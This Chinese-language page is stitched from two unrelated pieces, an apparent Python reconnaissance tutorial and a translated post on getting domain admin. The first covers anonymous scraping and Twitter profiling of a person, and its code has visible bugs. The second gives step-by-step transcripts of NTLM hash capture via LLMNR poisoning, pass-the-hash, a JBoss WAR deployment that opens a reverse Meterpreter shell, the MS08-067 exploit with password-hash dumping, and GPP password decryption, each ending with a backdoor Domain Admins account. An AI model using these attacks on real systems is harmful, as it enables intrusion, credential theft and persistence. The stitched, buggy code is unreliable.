运行该脚本，我们看到页面获得五次不同时间不同cookie的访问。成功！随着我们匿名访问类的建立，让我们抹去我们访问网站上的私人信息。

recon:∼# python kittenTest.py [*] Fetching page <Cookie PHPSESSID=qg3fbia0t7ue3dnen5i8brem61 for kittenwar.com/> [*] Fetching page <Cookie PHPSESSID=25s8apnvejkakdjtd67ctonfl0 for kittenwar.com/> [*] Fetching page <Cookie PHPSESSID=16srf8kscgb2l2e2fknoqf4nh2 for kittenwar.com/> [*] Fetching page <Cookie PHPSESSID=73uhg6glqge9p2vpk0gt3d4ju3 for kittenwar.com/>

用匿名类抹去WEB页面 现在我们可以用Python取回WEB内容。可以开始侦查目标了。我们可以通过检索大型的网站来开始我们的研究了。攻击者可以深入的调查目标的主页面寻找隐藏的和有价值的数据。然而这种搜索行动会产生大量的页面浏览器。移动网站的内容到本地能减少页面的浏览数。我们可以只访问页面一次，然后研究无数次。有一些框架可以这样做，但是我们将建立我们自己的，利用先前的anonBrowser类。让我们利用anonBrowser类检索目标网站所有的链接吧。 用Beautiful Soup解析Href链接 为了从目标网站解析链接，我们有两个选择：(1)利用正则表达式来搜索和替换HTML代码。(2)使用强大的第三方库BeautifulSoup，可以在下面网站下载安装：http://www.crummy.com/software/BeautifulSoup/。BeautifulSoup的创造者构建了这个极好的库来处理和解析HTML代码和XML。首先，我们看看怎样使用两种方法找到链接，然后解释为什么大多数情况下BeautifulSoup是很好的选择。

 # coding=UTF-8 from anonBrowser import * from BeautifulSoup import BeautifulSoup import optparse import re def printLinks(url): ab = anonBrowser() ab.anonymize() page = ab.open(url) html = page.read() try: print '[+] Printing Links From Regex.' link_finder = re.compile('href="(.*?)"') links = link_finder.findall(html) for link in links: print link except: pass try: print '\n[+] Printing Links From BeautifulSoup.' soup = BeautifulSoup(html) links = soup.findAll(name='a') for link in links: if link.has_key('href'): print link['href'] except: pass def main(): parser = optparse.OptionParser('usage%prog -u <target url>') parser.add_option('-u', dest='tgtURL', type='string', help='specify target url') (options, args) = parser.parse_args() url = options.tgtURL if url == None: print parser.usage exit(0) else: printLinks(url) if __name__ == '__main__': main()

运行我们的脚本，让我们来解析来自流行网站的链接，我们的脚本产生链接的结果通过正则表达式和BeautifulSoup解析。

recon:# python linkParser.py -uhttp://www.hampsterdance.com/ [+] Printing Links From Regex. styles.css http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD Freshhampstertracks.htm freshhampstertracks.htm freshhampstertracks.htm http://twitter.com/hampsterrific http://twitter.com/hampsterrific https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 funnfree.htm https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 meetngreet.htm http://www.asburyarts.com index.htm meetngreet.htm musicmerch.htm funnfree.htm freshhampstertracks.htm hampsterclassics.htm http://www.statcounter.com/joomla/ [+] Printing Links From BeautifulSoup. http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD freshhampstertracks.htm freshhampstertracks.htm freshhampstertracks.htm http://twitter.com/hampsterrific http://twitter.com/hampsterrific https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 funnfree.htm https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 https://app.expressemailmarketing.com/Survey.aspx?SFID=32244 meetngreet.htm http://www.asburyarts.com http://www.statcounter.com/joomla/

乍一看两个似乎差不多。然而，使用正则表达式和BeautifulSoup产生了不同的结果，与一个特定的数据块相关联的标签变化不大，造成程序更加顽固的是网站管理员的念头。比如，我们的正则表达式包含CSS作为一个link，显然，这不是一个链接，但他被正则表达式匹配了。BeautifulSoup解析时知道忽略它，不包含。 用Beautiful Soup下载图片 除了网页上面的链接，它上面的图片可能会有用。在第三章，我们展示了如何从图像中提取元数据。再一次，BeautifulSoup成为了关键，允许在任何HTML中搜索’img‘标签。浏览器对象下载图片保存在本地硬盘，代码的变化只是将链接变为图像。随着这些变化，我们基本的检索器已经变得足够强大到找到网页的链接和下载图像。

 # coding=UTF-8 from anonBrowser import * from BeautifulSoup import BeautifulSoup import os import optparse def mirrorImages(url, dir): ab = anonBrowser() ab.anonymize() html = ab.open(url) soup = BeautifulSoup(html) image_tags = soup.findAll('img') for image in image_tags: filename = image['src'].lstrip('http://') filename = os.path.join(dir, filename.replace('/', '_')) print('[+] Saving ' + str(filename)) data = ab.open(image['src']).read() ab.back() save = open(filename, 'wb') save.write(data) save.close() def main(): parser = optparse.OptionParser('usage%prog -u <target url> -d <destination directory>') parser.add_option('-u', dest='tgtURL', type='string', help='specify target url') parser.add_option('-d', dest='dir', type='string', help='specify destination directory') (options, args) = parser.parse_args() url = options.tgtURL dir = options.dir if url == None or dir == None: print parser.usage exit(0) else: try: mirrorImages(url, dir) except Exception, e: print('[-] Error Mirroring Images.') print('[-] ' + str(e)) if __name__ == '__main__': main()

运行这个脚本，我们看到它成功的下载了网站的所有图像。 econ:∼# python imageMirror.py -u http://xkcd.com -d /tmp/ [+] Saving /tmp/imgs.xkcd.com_static_terrible_small_logo.png [+] Saving /tmp/imgs.xkcd.com_comics_moon_landing.png [+] Saving /tmp/imgs.xkcd.com_s_a899e84.jpg 研究，调查，发现 在大多数现代社会工程学的尝试中，攻击者的目标从公司或者企业开始。对于Stuxnet的肇事者，是一个有权限进入SCADA系统的伊朗人。极光行动背后的人是通过调查公司的人员而获取对重要地点的访问权的。让我们假设，我们有一个有趣的公司并知道背后一个主要人物，一个通常的攻击者可能会有比这个更少的信息。攻击者往往只有攻击者更宏观的知识，他们需要利用互联网和其他资源深入了解个人。从Oracle，Google等所有的，我们利用接下来的一系列的脚本。 用Python和Google API交互 想象一下，一个朋友问你一个隐晦的问题，他们错误的以为你知道些什么。你怎么回答？Google一下。所以，我们如何了解目标公司的更多信息了？好的，答案再次是Google。Google提供了应用程序接口API允许程序员进行查询并得到结果，而不必尝试破解正常的Google界面。目前有两套API，老旧的API和API，这些需要开发者密钥。要求独一无二的开发者密钥让匿名变得不可能，一些我们以努力获得成功的脚本将不能用。幸运的是老旧的版本任然允许一天之中进行一系列的查询，大约每天30次搜索结果。用于收集信息的话30次结果足够了解一个组织网站的信息了。我们将建立我们的查询功能，返回攻击者感兴趣的信息。

import urllib from anonBrowser import * def google(search_term): ab = anonBrowser() search_term = urllib.quote_plus(search_term) response = ab.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_term) print(response.read()) google('Boondock Saint') 从Google返回的内容和下面的类似。 {"responseData": {"results":[{"GsearchResultClass":"GwebSearch", "unescapedUrl":"http://www.boondocksaints.com/","url":"http:// www.boondocksaints.com/","visibleUrl":"www.boondocksaints. com","cacheUrl":"http://www.google.com/search?q\ u003dcache:J3XW0wgXgn4J:www.boondocksaints.com","title":"The \ u003cb\u003eBoondock Saints\u003c/b\u003e","titleNoFormatting":"The Boondock <..SNIPPED..> \u003cb\u003e...\u003c/b\u003e"}],"cursor":{"resultCount":"62,800", "pages":[{"start":"0","label":1},{"start":"4","label":2},{"start ":"8","label":3},{"start":"12","label":4},{"start":"16","label": 5},{"start":"20","label":6},{"start":"24","label":7},{"start":"2 8","label":8}],"estimatedResultCount":"62800","currentPageIndex" :0,"moreResultsUrl":"http://www.google.com/search?oe\u003dutf8\ u0026ie\u003dutf8\u0026source\u003duds\u0026start\u003d0\u0026hl\ u003den\u0026q\u003dBoondock+Saint","searchResultTime":"0.16"}}, "responseDetails": null, "responseStatus": 200} quote_plus()

函数是这个脚本中的新的代码块。URL编码是指非字母数字的字符被转换然后发送到服务器。虽然不是完美的URL编码，但是适合我们的目的。最后打印Google的响应显示：一个长字符串的括号和引号。如果你仔细观察，会发现响应的内容看起来很像字典。这些响应是json格式的，和字典非常相似，不出所料，Python有库可以构建和处理json字符串。让我们添加这个功能重新审视这个响应。

 import urllib, json from anonBrowser import * def google(search_term): ab = anonBrowser() search_term = urllib.quote_plus(search_term) response = ab.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_term) objects = json.load(response print(response.read()) google('Boondock Saint')

当我们打印对象时，看起来非常像第一次函数的响应.json库加载响应到一个字典，让这些字段更容易理解，而不需要手动的解析字符串。

 {u'responseData': {u'cursor': {u'moreResultsUrl': u'http://www.google. com/search?oe=utf8&ie=utf8&source=uds&start=0&hl=en&q=Boondock +Saint', u'estimatedResultCount': u'62800', u'searchResultTime': u'0.16', u'resultCount': u'62,800', u'pages': [{u'start': u'0', u'label': 1}, {u'start': u'4', u'label': 2}, {u'start': u'8', u'label': 3}, {u'start': u'12', u'label': 4}, {u'start': u'16', u'label': 5}, {u'start': u'20', u'label': 6}, {u'start': u'24', u'label': 7}, {u'start': u'28', u..SNIPPED..> Saints</b> - Wikipedia, the free encyclopedia', u'url': u'http:// en.wikipedia.org/wiki/The_Boondock_Saints', u'cacheUrl': u'http:// www.google.com/search?q=cache:BKaGPxznRLYJ:en.wikipedia.org', u'unescapedUrl': u'http://en.wikipedia.org/wiki/The_Boondock_ Saints', u'content': u'The <b>Boondock Saints</b> is a 1999 American action film written and directed by Troy Duffy. The film stars Sean Patrick Flanery and Norman Reedus as Irish fraternal <b>...</b>'}]}, u'responseDetails': None, u'responseStatus': 200}

现在我们可以考虑在一个给定的Google搜索的结果里什么事是重要的。显然，页面返回的链接很重要。此外，页面的标题和Google用的小的文本断对理解链接指向哪里也很重要。为了组织这些结果，我们创建了一个类来保存结果。这将是访问不同的信息更容易。

 # coding=UTF-8 import json import urllib import optparse from anonBrowser import * class Google_Result: def __init__(self,title,text,url): self.title = title self.text = text self.url = url def __repr__(self): return self.title def google(search_term): ab = anonBrowser() search_term = urllib.quote_plus(search_term) response = ab.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_term) objects = json.load(response) results = [] for result in objects['responseData']['results']: url = result['url'] title = result['titleNoFormatting'] text = result['content'] new_gr = Google_Result(title, text, url) results.append(new_gr) return result def main(): parser = optparse.OptionParser('usage%prog -k <keywords>') parser.add_option('-k', dest='keyword', type='string', help='specify google keyword') (options, args) = parser.parse_args() keyword = options.keyword if options.keyword == None: print(parser.usage) exit(0) else: results = google(keyword) print(results) if __name__ == '__main__': main()

这种更简洁的呈现数据的方式产生以下输出：

recon:∼# python anonGoogle.py -k 'Boondock Saint' [The Boondock Saints, The Boondock Saints (1999) - IMDb, The Boondock Saints II: All Saints Day (2009) - IMDb, The Boondock Saints - Wikipedia, the free encyclopedia]

用Python解析Tweets 在这一点上，我们的脚本已经自动的收集了一些我们的目标的信息。在我们的下一系列的步骤中，我们将撤离域和组织，开始在网上寻找可用的个人信息。像Google，Twitter给开发者提供了API，该文档在https://dev.twitter.com/docs，非常深入，提供了更多特点的访问，但在本程序中用不到。让我们探究以下如何从Twitter检索数据。具体来说，我们要转发美国爱国者黑客th3j35t3r的微博，他把Boondock Saint作为自己的昵称。我们将构建reconPerson()类然后输入th3j35t3r作为Twitter的搜索关键字。

# coding=UTF-8 import json import urllib from anonBrowser import * class reconPerson: def __init__(self,first_name,last_name, job='',social_media={}): self.first_name = first_name self.last_name = last_name self.job = job self.social_media = social_media def __repr__(self): return self.first_name + ' ' + self.last_name + ' has job ' + self.job def get_social(self, media_name): if self.social_media.has_key(media_name): return self.social_media[media_name] return None def query_twitter(self, query): query = urllib.quote_plus(query) results = [] browser = anonBrowser() response = browser.open('http://search.twitter.com/search.json?q='+ query) json_objects = json.load(response) for result in json_objects['results']: new_result = {} new_result['from_user'] = result['from_user_name'] new_result['geo'] = result['geo'] new_result['tweet'] = result['text'] results.append(new_result) return results ap = reconPerson('Boondock', 'Saint') print ap.query_twitter('from:th3j35t3r since:2010-01-01 include:retweets')

当进一步的继续检索Twitter，我们已经看到了打来那个的信息，这可能对爱国者黑客有用。他正在和一些黑客团体UGNazi的支持者起冲突。好奇心驱使我们想知道为什么会变成这样。

recon:∼# python twitterRecon.py [{'tweet': u'RT @XNineDesigns: @th3j35t3r Do NOT give up. You are the bastion so many of us need. Stay Frosty!!!!!!!!', 'geo': None, 'from_user': u'p\u01ddz\u0131uod\u0250\u01dd\u028d \u029e\ u0254opuooq'}, {'tweet': u'RT @droogie1xp: "Do you expect me to talk?" - #UGNazi "No #UGNazi I expect you to die." @th3j35t3r #ticktock', 'geo': None, 'from_user': u'p\u01ddz\u0131uod\u0250\ u01dd\u028d \u029e\u0254opuooq'}, {'tweet': u'RT @Tehvar: @th3j35t3r my thesis paper for my masters will now be focused on supporting the #wwp, while I can not donate money I can give intelligence.' <..SNIPPED..>

我希望，你看到这个代码的时候在想“我现在知道该怎么做了！”确实是这样，从互联网上检索一些特定模式的信息之后。显然，使用Twitter的结果没有用，使用他们寻找目标的信息。当谈论获取个人信息时社交平台是一个金矿。个人的生日，家乡甚至家庭地址，电话号码等隐秘的信息都会被给予不怀好意的人。人们往往没有意识到这个问题，使用社交网站是不安全的习惯。让我们进一步的探究从Twitter的提交里面提取位置数据。

作者: 纯情 · 2015-10-31

得到内网域管理员的5种常见方法

from:http://blog.spiderlabs.com/2013/09/top-five-ways-spiderlabs-got-domain-admin-on-your-internal-network.html

spiderlabs总结的,我简单翻译下,偶尔加点我的牢骚。

1.Netbios and LLMNR Name Poisoning

这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%\System32\drivers\etc\hosts),DNS服务器,NetBIOS广播,如果前2个请求失败,则在本地发送NetBIOS广播请求,此时任何本地网络的系统都能回答这个请求,使用SpiderLabs出品的Responder工具,能够在不借助ARP欺骗的情况下,响应这个请求.其实metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但实际测试还是Responder比较好,都是套用标准库写的,很方便在目标上使用:)
~/Responder# python Responder.py -i 192.168.8.25 NBT Name Service/LLMNR Answerer 1.0. Please send bugs/comments to: lgaffie@trustwave.com To kill this script hit CRTL-C [+]NBT-NS & LLMNR responder started Global Parameters set: Challenge set is: 1122334455667788 WPAD Proxy Server is:OFF HTTP Server is:ON HTTPS Server is:ON SMB Server is:ON SMB LM support is set to:0 SQL Server is:ON FTP Server is:ON DNS Server is:ON LDAP Server is:ON FingerPrint Module is:OFF LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.12. The requested name was : 110. …snip… NBT-NS Answer sent to: 192.168.8.6 [+]SMB-NTLMv2 hash captured from : 192.168.8.6 Domain is : BEACONHILLSHIGH User is : smccall [+]SMB complete hash is : smccall::BEACONHILLSHIGH:1122334455667788:reallylonghash Share requested: \\ECONOMY309\IPC$ …snip... LLMNR poisoned answer sent to this IP: 192.168.8.11. The requested name was : wpad. [+]SMB-NTLMv2 hash captured from : 192.168.8.11 Domain is : BEACONHILLSHIGH User is : lmartin [+]SMB complete hash is : lmartin:: BEACONHILLSHIGH:1122334455667788:reallylonghash Share requested: \\ADVCHEM\311IPC$ …snip…
这里的LM, NTLMv1, or NTLMv2哈希,能够用GPU或者彩虹表暴力破解.如果在responder会话过程中,抓到一个域管理员帐号,能够直接使用winexe运行cmd.exe命令
~/work/nmap# ~/SpiderLabs/winexe-PTH -U BEACONHILLSHIGH\\smccall%allison --uninstall --system //192.168.8.6 cmd.exe Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully. C:\WINDOWS\system32> net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully.
2.利用jboss漏洞

可以前期先用nmap扫描下端口,识别出常见的JAVA应用服务器,后期配合Metasploit的auxiliary模块来利用.比如jboss漏洞.最常见的就是弱口令了吧,同理的,也可以寻找webloigc,websphere,tomcat等这些基于JAVA的应用服务器,还有最近国内政府部门部署比较多的Apusic,不过需要注意war包格式,进后台,直接部署WAR就行了.jboss的除了弱口令,还有个后台绕过,和流传很久的1337那个.用例说下如何用metasploit暴力破解jboss后台,以及部署war包.
msfcli auxiliary/scanner/http/dir_scanner THREADS=25 RHOSTS=file:./8080 DICTIONARY=./http.scan.list RPORT=8080 E >> http.jboss.8080 ~/work/nmap# cat http.jboss.8080 < -- 这个是开25线程字典跑8080端口jboss后台的 [*] Initializing modules... THREADS => 25 RHOSTS => file:./8080 DICTIONARY => ./http.scan.list RPORT => 8080 [*] Detecting error code [*] Detecting error code [*] Detecting error code [*] Detecting error code [*] Using code '404' as not found for 192.168.5.18 [*] Using code '404' as not found for 192.168.5.21 [*] Using code '404' as not found for 192.168.5.20 [*] Found http://192.168.5.20:8080/web-console/ 401 (192.168.5.20) [*] http://192.168.5.20:8080/web-console/ requires authentication: Basic realm="JBoss JMX Console" [*] Found http://192.168.5.20:8080/web-console/ 404 (192.168.5.20) [*] Found http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20) [*] http://192.168.5.20:8080/jmx-console/ requires authentication: Basic realm="JBoss JMX Console" [*] Found http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21) [*] Scanned 4 of 4 hosts (100% complete) [*] Auxiliary module execution completed
Output from use auxiliary/scanner/http/jboss_vulnscan: [*] 192.168.5.20:8080 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console" [*] 192.168.5.20:8080 Check for verb tampering (HEAD) [+] 192.168.5.20:8080 Got authentication bypass via HTTP verb tampering [+] 192.168.5.20:8080 Authenticated using admin:admin [+] 192.168.5.20:8080 /status does not require authentication (200) [+] 192.168.5.20:8080 /web-console/ServerInfo.jsp does not require authentication (200) [+] 192.168.5.20:8080 /web-console/Invoker does not require authentication (200) [+] 192.168.5.20:8080 /invoker/JMXInvokerServlet does not require authentication (200) Output from use exploit/multi/http/jboss_maindeployer: < --部署war包 msf exploit(jboss_maindeployer) > exploit [*] Started reverse handler on 192.168.5.233:4444 [*] Sorry, automatic target detection doesn't work with HEAD requests [*] Automatically selected target "Java Universal" [*] Starting up our web service on http://192.168.5.233:1337/HlusdqEcokvXH.war ... [*] Using URL: http:// 192.168.5.233:1337/HlveuqEzrovXH.war [*] Asking the JBoss server to deploy (via MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war [*] Sending the WAR archive to the server... [*] Sending the WAR archive to the server... [*] Waiting for the server to request the WAR archive.... [*] Shutting down the web service... [*] Executing HlusdqEcokvXH... [+] Successfully triggered payload at '/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp' [*] Undeploying HlusdqEcokvXH... [*] Sending stage (30355 bytes) to 192.168.5.159 [*] Meterpreter session 1 opened (192.168.5.233:4444 -> 192.168.5.20:4209) at 2013-09-15 19:00:06 -0600 meterpreter > sysinfo Computer : BHHSMOFF011 OS : Windows 2003 5.2 (x86) Meterpreter : java/java meterpreter > shell Process 1 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\DELLBAC\EJBContainer\bin>whoami whoami beaconhillshigh\backup_admin C:\>net user twadmin $piD3rsRul3! /add /domain net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully. C:\>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu.
3.MS08-067

这个漏洞已经超过4年了,但是内网中还是有很多机器没有打补丁,影响的有(Windows Server 2000, Windows Server 2003, and Windows XP),不过说实话,我内网渗透的过程中很少用MS08-067,因为溢出不好,有可能造成DOS,被人发现了,就不好了,你懂得.
nmap --script=smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 less ms08.nmap < -- 使用NMAP的smb-check-vulns脚本识别下 ...snip... Nmap scan report for shelob-squared (192.168.1.103) Host is up (0.00042s latency). Scanned at 2013-09-16 21:52:32 CDT for 55s PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:E3:25:78 (VMware) Host script results: | smb-check-vulns: | MS08-067: VULNERABLE <--bingo..有漏洞 | Conficker: Likely CLEAN | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE | MS06-025: NO SERVICE (the Ras RPC service is inactive) |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) ...snip...
nmap的NSE脚本是用LUA语言写的,把这些NSE都过一遍,对渗透很有帮助哦,尤其是在LINUX平台,win平台下除了有几种扫描方式利用不了,NSE脚本照样可以用,不过LINUX上默认安装的NMAP版本都比较低了,你不能直接放NSE到目录,注意看库之间的依赖关系,才能利用,上次看wooyun的drops,livers大牛回复我们组的Anthr@X牛的InsightScan.py,说用nse也实现了一个,我只想说,你能偷偷发我一份吗?

接下来,还是用metasploit溢出，不知道对中文系统效果怎么样，我没有试过 =.=
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf exploit(ms08_067_netapi) > set TARGET 0 TARGET => 0 msf exploit(ms08_067_netapi) > set LHOST 192.168.1.215 LHOST => 192.168.1.215 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.103 [*] Meterpreter session 1 opened (192.168.1.215:33354 -> 192.168.1.103:4444) at 2013-09-16 21:54:15 -0500 meterpreter > getsystem ...got system (via technique 1). meterpreter > sysinfo Computer : SHELOB-SQUARED OS : Windows XP (Build 2600, Service Pack 2). Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 48c76bfa334c4c21edd1154db541c2c2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... Frodo:"what do i have" Samwise:"Frodo" Stryder:"love" Legolas:"favorite saying" Gimli:"what am i" Boromir:"what I am" Gandalf:"moria" [*] Dumping password hashes... Administrator:500:f75d090d8564fd334a3b108f3fa6cb6d:3019d5d61cdf713c7b677efefc22f0e5::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:7e8a50750d9a1a30d3d4a83f88ea86ab:6fba9c0f469be01bab209ee2785a818d::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:861165412001ece0a5e73ab8863129d8::: Frodo:1003:74052b0fb3d802a3be4db4ed34a95891:a7cee25799f518f9bd886683a13ed6d0::: Samwise:1004:aad3b435b51404eeaad3b435b51404ee:7dff81410af5e2d0c2b6e54a98a8f622::: Stryder:1005:825f8bc99c2a5013e72c57ef50f76a05:1047f0b952cfbffbdd6c34ef6bd610e5::: Legolas:1006:625d787db20f1dd8aad3b435b51404ee:cc5b9f225e569fa3a2534be394df531a::: Gimli:1007:aad3b435b51404eeaad3b435b51404ee:e4d2534368ff0f1cbe2a42c5d79b9818::: Boromir:1008:e3bee25ac9de68cec2cc282901fd62d9:4231db4c15025d1951f3c0d39d8656a2::: Gandalf:1009:20ef2c7725e35c1dbd7cfc62789a58c8:02d0a4d2b6c7d485a935778eb90e0446::: meterpreter > shell Process 2708 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ WINDOWS\system32>whoami whoami MIRKWOOD\Gandalf C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.
4. GPO cpassword

这个原理完全可以看瞌睡龙牛翻译的http://drops.wooyun.org/papers/576,本文中亮点是他从LINUX连接到WIN的,有许多同学不会通过linux渗透WIN域,尤其是在得到一个WEBSHELL,还是ROOT权限,还是跟内网连着,还有个域用户的情况下(=.=现实中哪儿有这么多好的条件让你都碰到了)

smbclient -W MIRKWOOD -U ‘Legolas%orcs’ \\\\192.168.1.105\\SYSVOL < --使用smbclient连接, 支持上传下载 Domain=[ MIRKWOOD] OS=[Windows Server 2008 R2 Standard 7600] Server=[Windows Server 2008 R2 Standard 6.1] smb: \> dir . D 0 Wed Sep 15 15:08:37 2012 .. D 0 Wed Sep 15 15:08:37 2012 mirkwood.local D 0 Wed Sep 15 15:08:37 2012 48457 blocks of size 4194304. 44175 blocks available smb: \> cd mirkwood.local\ smb: \smirkwood.local\> dir . D 0 Wed Sep 15 15:13:05 2012 .. D 0 Wed Sep 15 15:13:05 2012 Policies D 0 Tue Oct 30 10:29:31 2012 scripts D 0 Thu Nov 8 12:50:21 2012 smb:\> recurse smb:\> prompt off smb:\> mget Policies …snip… getting file \mirkwood\Policies\PolicyDefinitions\access32.admx of size 98874 as access32.admx (3657.0 KiloBytes/sec) (average 3657.0 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\access34.admx of size 131924 as access34.admx (27324.5 KiloBytes/sec) (average 7038.2 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\ActiveXInstallService.admx of size 7217 as ActiveXInstallService.admx (2303.1 KiloBytes/sec) (average 6722.5 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AddRmvPrograms.admx of size 7214 as AddRmvPrograms.admx (2301.6 KiloBytes/sec) (average 6446.2 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\asdf.admx of size 4249 as asdf.admx (122.0 KiloBytes/sec) (average 4940.4 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AppCompat.admx of size 4893 as AppCompat.admx (2633.2 KiloBytes/sec) (average 4835.6 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AttachmtMgr.admx of size 3865 as AttachmtMgr.admx (2912.5 KiloBytes/sec) (average 4752.0 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AutoPlay.admx of size 5591 as AutoPlay.admx …snip… smb:\> recurse smb:\> prompt off smb:\> mget scripts …snip… smb: \avi\> mget scripts Get directory scripts? y Get directory bin? y Get file #INCLUDE.BAT? y getting file \ mirkwood \scripts\bin\#INCLUDE.BAT of size 2839 as #INCLUDE.BAT (409.6 KiloBytes/sec) (average 409.7 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON.BAT of size 1438 as NETLOGON.BAT (28.9 KiloBytes/sec) (average 137.7 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON2.BAT of size 16781 as NETLOGON2.BAT (691.0 KiloBytes/sec) (average 566.0 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON3.BAT of size 16486 as NETLOGON3.BAT (1268.5 KiloBytes/sec) (average 773.6 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON4.BAT of size 17429 as NETLOGON4.BAT (1108.7 KiloBytes/sec) (average 858.8 KiloBytes/sec) …snip…
Once the files are downloaded, grep through both policies and scripts for Administrator or cpassword (either would work in this instance):
grep -ri administrator . grep -ri cpassword . ~/work/nmap/192.168.1.0-24/downloads/Policies# grep -ri administrator . ./{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml: :
The cpassword is taken and run through the decryption script from http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~/work# ruby decrypt.rb < --解密 Local*P4ssword! ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\’Administrator%Local*P4ssword!’ --uninstall --system //192.168.1.103 cmd.exe <-- winexe和win下经典工具psexec效果一样一样的 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.

5.NetBIOS Null Enumeration Allowed on Server

其实就是说,域服务器,允许你空会话连接,然后列举账户信息,然后在破解账户,LINUX下用enum4linux.pl遍历用户,用medusa破解帐号,用winexec连接执行命令.WIN下的话,< <黑客大曝光>>查点那章看过木?

~/enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90 ~/work/targets/192.168.1.0-24# cat enum-192.168.1.90 Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013 ========================== | Target Information | ========================== Target ........... 192.168.1.90 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================================== | Enumerating Workgroup/Domain on 192.168.1.90 | =================================================== [+] Got domain/workgroup name: MIRKWOOD =========================================== | Nbtstat Information for 192.168.1.90 | =========================================== Looking up status of 192.168.1.90 MODOR <00> - M Workstation Service MIRKWOOD <00> - M Domain/Workgroup Name MIRKWOOD <1c> - M Domain Controllers MORDOR <20> - M File Server Service MAC Address = B5-AD-2F-37-2G-4F ==================================== | Session Check on 192.168.1.90 | ==================================== [+] Server 192.168.1.90 allows sessions using username '', password '' …snip… ============================ | Users on 192.168.1.90 | ============================ index: 0x2b76 RID: 0xd08 acb: 0x00000610 